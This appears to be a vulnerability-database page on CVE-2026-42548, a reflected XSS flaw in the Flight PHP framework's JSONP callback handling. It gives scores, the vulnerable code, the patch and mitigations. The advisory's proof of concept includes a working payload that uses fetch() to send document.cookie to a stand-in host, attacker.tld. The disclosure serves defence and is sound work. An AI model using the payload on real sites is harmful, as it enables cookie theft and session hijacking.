Which versions of Flight PHP are affected by CVE-2026-42548?

Flight PHP framework versions prior to 3.18.1 contain a reflected cross-site scripting vulnerability in JSONP endpoints that allows attackers to execute arbitrary JavaScript and steal user session…. A patch is available.

How to fix or mitigate CVE-2026-42548?

Within 24 hours: Identify all applications using Flight PHP and document current versions via dependency manifests and package managers. Within 7 days: Upgrade Flight PHP to version 3.18.1 or later across all development, staging, and production environments; verify the upgrade includes commit b8dd23a with regex validation on callback parameters. Within 30 days: Conduct security testing of JSONP endpoints, review web application firewall rules to block suspicious callback parameter values, and audit logs for exploitation attempts matching the POC pattern.

Flight PHP CVE-2026-42548

Q: What is the CVSS score of CVE-2026-42548?

CVE-2026-42548 has a CVSS 4.0 base score of 8.6 (High). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 0.0%.

HIGH

Cross-site Scripting (XSS) (CWE-79)

2026-05-06 https://github.com/flightphp/core

GHSA-fcx8-ph5r-mxr4

XSS PHP

8.6

CVSS 4.0 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

8.6 HIGH

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Scope

Lifecycle Timeline

Re-analysis Queued

May 13, 2026 - 20:22 vuln.today

cvss_changed

CVSS changed

May 13, 2026 - 20:22 NVD

8.6 (HIGH)

Source Code Evidence Fetched

May 06, 2026 - 22:40 vuln.today

Analysis Generated

May 06, 2026 - 22:40 vuln.today

CVE Published

May 06, 2026 - 21:34 nvd

HIGH

DescriptionGitHub Advisory

Summary

Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.

Affected code

flight/Engine.php (≈ lines 1000-1013):

php

$callback = $this->request()->query[$param];
$this->response()
    ->status($code)
    ->header('Content-Type', 'application/javascript; charset=' . $charset)
    ->write($callback . '(' . $json . ');');

No regex or identifier validation is performed before the callback is written.

Proof of concept

Given any route that calls Flight::jsonp($data):

GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//

Reproduced response (Content-Type: application/javascript):

;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"});

When the vulnerable endpoint is loaded via <script src="https://victim.tld/api?jsonp=…"> on a page controlled by the attacker, the injected JavaScript executes in the victim.tld origin whenever that page is embedded or visited in a same-origin context - cookie theft and session hijack follow.

Impact

Reflected XSS in any application calling Flight::jsonp().
Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.
Exfiltration of authenticated API responses.

Patch (fixed in `3.18.1`, commit `b8dd23a`)

_jsonp() now validates the callback name against ^[A-Za-z_$][\w$.]{0,127}$ before emitting it. An empty callback (no jsonp parameter) still behaves as before.

Credit

Discovered by @Rootingg.

AnalysisAI

Reflected cross-site scripting in Flight PHP framework's JSONP endpoint implementation allows remote attackers to execute arbitrary JavaScript in victim browsers by injecting malicious code through unvalidated callback parameters. Flight PHP versions prior to 3.18.1 concatenate user-supplied jsonp query parameters directly into JavaScript responses without identifier validation, enabling cookie theft and session hijacking when vulnerable endpoints are embedded via script tags. The vulnerability was patched in version 3.18.1 (commit b8dd23a) with regex validation limiting callbacks to legal JavaScript identifiers. A working proof-of-concept demonstrates cookie exfiltration via crafted callback parameters.

Technical ContextAI

The vulnerability exists in the Flight PHP micro-framework's JSONP (JSON with Padding) implementation, specifically in the _jsonp() method within flight/Engine.php. JSONP is a legacy cross-domain communication technique that wraps JSON responses in a JavaScript function callback, served with application/javascript content type to bypass same-origin policy. The flaw is a classic example of CWE-79 (Improper Neutralization of Input During Web Page Generation) where the framework extracts the callback name from the jsonp query parameter via $this->request()->query[$param] and directly concatenates it into the response body as $callback . '(' . $json . ');' without any validation that the value is a legal JavaScript identifier. This string concatenation approach creates an injection point where semicolons, function definitions, and comment delimiters can be used to break out of the intended callback structure and inject arbitrary JavaScript code that executes when the response is loaded as a script resource.

RemediationAI

Upgrade to Flight PHP version 3.18.1 or later, which implements callback name validation using the regex pattern ^[A-Za-z_$][\w$.]{0,127}$ to ensure only legal JavaScript identifiers are accepted. The patch is available via composer update or directly from the GitHub repository at commit b8dd23a (https://github.com/flightphp/core/security/advisories/GHSA-fcx8-ph5r-mxr4). If immediate upgrade is not feasible, implement a temporary workaround by wrapping all Flight::jsonp() calls with custom validation logic that rejects callback parameters containing characters outside the set [A-Za-z0-9_$.] or exceeding 128 characters, though this adds maintenance overhead and may not match the vendor's exact validation logic. Alternatively, disable JSONP endpoints entirely if they are not actively used by legacy clients, replacing them with modern CORS-enabled JSON endpoints that eliminate the injection vector entirely; note that this requires client-side code changes to handle standard JSON responses instead of script-tag loading. For defense in depth, set HttpOnly and SameSite=Strict flags on session cookies to limit the impact of successful XSS exploitation, though this does not prevent exfiltration of authenticated API data or DOM-based attacks.